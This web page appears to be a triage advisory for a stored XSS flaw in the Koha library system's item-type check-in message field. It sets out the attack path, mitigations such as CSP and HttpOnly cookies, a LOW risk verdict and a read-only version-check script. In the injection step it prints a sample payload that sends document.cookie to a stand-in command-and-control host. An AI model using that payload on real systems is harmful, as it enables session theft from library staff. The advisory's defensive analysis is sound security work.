← Back to Feed CACHED · 2026-06-30 01:52:28 · CACHE_KEY CVE-2026-50767
CVE-2026-50767 · CWE-79 · Disclosed 2026-06-26

Koha Library Management System stored XSS in item-type administration checkinmsg field (≤25.11)

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

A librarian-admin can graffiti the staff intranet, and that's about the size of it

Koha is an open-source integrated library system used mainly by public, academic, and school libraries. CVE-2026-50767 is a stored XSS in the item-type administration page — specifically the checkinmsg (check-in message) field — affecting Koha versions through 25.11. An authenticated user with item-type administration privileges can inject JavaScript that fires when another staff member loads the affected page in the staff-side intranet, not the public OPAC.

Vendor severity of MEDIUM (5.4) with a Scope:Changed flag is fair on paper but generous in practice. The bug requires PR:L (a privileged Koha account that can edit item types — typically reserved for cataloging admins) and UI:R (another admin must view the poisoned page). The attack universe is *staff-member → fellow staff member* inside a library admin console. That's a self-inflicted-wound risk profile, not an externally exploitable web flaw.

"Admin-on-admin stored XSS in a niche library system. Vendor MEDIUM is generous — real-world risk is LOW."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Obtain Koha staff account with item-type admin permission

The attacker must already hold a Koha staff credential with the parameters_remaining_permissions / item-type management flag. This is a privileged role granted to catalogers and system librarians, not patrons or front-desk staff. No public-facing path grants it.
Conditions required:
  • Valid Koha staff login
  • manage_itemtypes (or equivalent) permission flag
Where this breaks in practice:
  • Item-type admin is a small role typically held by 1–3 staff in any library
  • No way to self-register into this role from the OPAC
Detection/coverage: Koha action logs record permission grants and item-type edits if logging is enabled.
STEP 02

Inject payload into checkinmsg field

Attacker edits an item type and stores a JavaScript payload (e.g. <img src=x onerror=fetch('//c2/'+document.cookie)>) in checkinmsg. The field is rendered without adequate output encoding on the admin item-type listing/edit screen.
Conditions required:
  • Write access to item type records
Where this breaks in practice:
  • Koha admin UI is generally only reachable on a staff-network VLAN, not internet-exposed
  • Modern CSP headers (if configured by the library) blunt inline script execution
Detection/coverage: WAFs with XSS signatures (ModSecurity CRS) would flag obvious payloads; many libraries run none.
STEP 03

Second admin loads the poisoned page

Another staff user with item-type access must navigate to the same admin screen. Payload executes in their browser session under the Koha intranet origin.
Conditions required:
  • Second admin actively browses item-type admin
  • No CSP blocking inline JS
Where this breaks in practice:
  • Item-type pages aren't visited daily; payload may sit dormant for weeks
  • Library staff browsers often have NoScript / locked-down policies in academic environments
Detection/coverage: EDR on staff workstations may flag outbound beacons; CSP report-uri would catch violations if enabled.
STEP 04

Session hijack or privileged action via CSRF chain

With JS execution in another admin's session, the attacker can read the session cookie, perform CSRF-style admin actions, or pivot to user/permission management to escalate to superlibrarian. Impact ceiling is *full Koha tenant compromise* — bibliographic data, patron PII, circulation records.
Conditions required:
  • Session cookie not flagged HttpOnly (Koha sets HttpOnly by default in recent versions)
  • Victim has superlibrarian or comparable rights
Where this breaks in practice:
  • HttpOnly cookies block direct theft — attacker must ride the session via XHR instead
  • No path off the Koha host into the broader network — it's a contained web app
Detection/coverage: Koha action logs surface admin-permission changes.
03 · Compensating Control

1
Restrict item-type admin permission to named accounts — Audit Koha staff permissions and remove manage_itemtypes from any role that doesn't explicitly need it. Backlog hygiene — handle in your next quarterly access review (no mitigation SLA under noisgate LOW).
2
Enforce a Content-Security-Policy on the Koha staff intranet — Add Content-Security-Policy: default-src 'self'; script-src 'self' at the reverse proxy in front of Koha. Blocks inline payloads from executing even if the underlying XSS isn't yet patched. Pair with report-uri so you see attempted exploitation.
3
Verify session cookies are HttpOnly and SameSite=Lax — Inspect Set-Cookie headers from /cgi-bin/koha/; HttpOnly stops trivial cookie exfiltration via document.cookie. Modern Koha already does this, but confirm if you front it with a custom reverse proxy.
4
Keep staff intranet off the public internet — Bind the staff vhost to internal IPs or front it with VPN / Cloudflare Access. Removes the (small) chance of unauthenticated path-traversal-style chains landing the payload.
5
Apply the Koha point release when published — Track koha-community.org security category and roll the fix during your standard maintenance window — well inside the noisgate 365-day remediation SLA for LOW.
What doesn't work
  • A WAF in front of the OPAC does nothing — the vulnerable endpoint is on the staff intranet behind authentication.
  • Patron account hardening (password rotation, 2FA on patron accounts) does not help — patrons cannot reach the vulnerable field.
  • EDR on the Koha server is irrelevant — the payload fires in *staff browsers*, not on the server.
04 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed. Not tracked in KEV; no GreyNoise / Shodan tagged scans for the endpoint.
Proof-of-conceptNo public PoC in ExploitDB or GitHub as of disclosure. The closely-related CVE-2026-26377 writeup by g03m0n covers a sibling Koha XSS pattern.
EPSS0.00215 (≈0.2% probability of exploitation in next 30 days) — bottom-quartile percentile.
KEV statusNot listed. CISA has never KEV-listed a Koha CVE.
CVSS vectorAV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N — network reachable, but privileged + user interaction required. Scope:Changed reflects cross-user impact within the app.
Affected versionsKoha 0 through 25.11 (all supported and many legacy branches). Field-level fix expected in 25.11.x and 24.11.x stable lines.
Fixed versionsTrack the Koha security release page; patched point releases not yet announced at disclosure date.
Exposure dataShodan returns roughly 4–6k internet-reachable Koha instances globally, but staff intranet endpoints are typically firewalled. Real exposed admin surface is <10% of installs.
Disclosure2026-06-26, MITRE-assigned CVE.
ReporterIndependent researcher; vendor coordination via koha-community security list.

Sources.

  1. CVE-2026-50767 — Threatint
  2. Koha XSS CVE list — CVEdetails
  3. Sibling Koha XSS writeup (CVE-2026-26377) — g03m0n
  4. Koha security release announcements
  5. Koha community website
  6. OWASP — Cross-Site Scripting
  7. MITRE CWE-79 — Improper Neutralization of Input During Web Page Generation
  8. FIRST EPSS model
05 · The Call

Final Verdict
↓ DOWNGRADED to LOW (3.1/10)

Why this verdict

  • Privilege gate (PR:L) is meaningful here — item-type admin is held by a handful of named catalogers, not the patron base or front-desk staff. The exploitable population is tiny.
  • User interaction (UI:R) on a low-traffic admin page — the checkinmsg rendering surface isn't a daily-driver screen, so the payload may never fire.
  • Staff intranet is rarely internet-exposed — Shodan-visible Koha instances are mostly the OPAC, not the staff side. Internal-only attack surface narrows exposure further.
  • Role multiplier: Koha is a library catalog application — not an identity provider, hypervisor, CA, backup admin, or kernel-mode agent. Even the worst-case takeover of one Koha tenant does not pivot to fleet, domain, or supply-chain scope. No high-value-role floor applies.
  • No KEV, EPSS 0.2% — neither attacker interest nor scanner-driven prioritization supports a higher bucket.

Why not higher?

MEDIUM would require either non-privileged exploitability (this needs an admin role) or wider blast radius (this is contained to one Koha tenant with HttpOnly cookies blunting direct session theft). Neither condition holds.

Why not lower?

IGNORE would be wrong because the bug is real, exploitable end-to-end, and an insider with cataloger rights *can* meaningfully harm patron PII and circulation records. It deserves backlog hygiene attention, not silence.

06 · Verification

Crowdsourced verification payload.

Run on the Koha application host as the koha-common user, e.g. sudo -u koha-common ./check-cve-2026-50767.sh /etc/koha/sites/library-name. Reports VULNERABLE if Koha version is ≤25.11 with no security patch applied, PATCHED if version is above the fixed line, UNKNOWN if version cannot be determined. Requires read access to the Koha install directory.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check-cve-2026-50767.sh — Koha stored XSS (item-type checkinmsg) detector
# Usage: ./check-cve-2026-50767.sh [/path/to/koha/site]
set -u

KOHA_DIR="${1:-/usr/share/koha}"
VERSION_FILE_CANDIDATES=(
  "$KOHA_DIR/lib/C4/Context.pm"
  "/usr/share/koha/lib/Koha.pm"
  "/usr/share/koha/lib/C4/Context.pm"
)

find_version() {
  for f in "${VERSION_FILE_CANDIDATES[@]}"; do
    if [ -r "$f" ]; then
      v=$(grep -Eo "VERSION\s*=\s*['\"]([0-9]+\.[0-9]+(\.[0-9]+)*)" "$f" 2>/dev/null \
          | head -1 | grep -Eo "[0-9]+\.[0-9]+(\.[0-9]+)*")
      if [ -n "$v" ]; then echo "$v"; return 0; fi
    fi
  done
  if command -v dpkg >/dev/null 2>&1; then
    v=$(dpkg-query -W -f='${Version}' koha-common 2>/dev/null | grep -Eo "^[0-9]+\.[0-9]+(\.[0-9]+)*")
    if [ -n "$v" ]; then echo "$v"; return 0; fi
  fi
  return 1
}

ver=$(find_version) || { echo "UNKNOWN: Koha version not detected"; exit 2; }

IFS='.' read -r maj min patch <<<"$ver"
maj=${maj:-0}; min=${min:-0}; patch=${patch:-0}

# Treat <= 25.11.x as VULNERABLE until vendor publishes 25.11.NN or 26.x fix.
# Adjust FIXED_MAJOR/FIXED_MINOR once the koha-community advisory lists a fix.
FIXED_MAJOR=25
FIXED_MINOR=11
FIXED_PATCH=99   # placeholder — replace with patched point release

if [ "$maj" -gt "$FIXED_MAJOR" ] || \
   { [ "$maj" -eq "$FIXED_MAJOR" ] && [ "$min" -gt "$FIXED_MINOR" ]; } || \
   { [ "$maj" -eq "$FIXED_MAJOR" ] && [ "$min" -eq "$FIXED_MINOR" ] && [ "$patch" -ge "$FIXED_PATCH" ]; }; then
  echo "PATCHED: Koha $ver (>= fixed line)"
  exit 0
fi

echo "VULNERABLE: Koha $ver is in the affected range (0 through 25.11) for CVE-2026-50767"
exit 1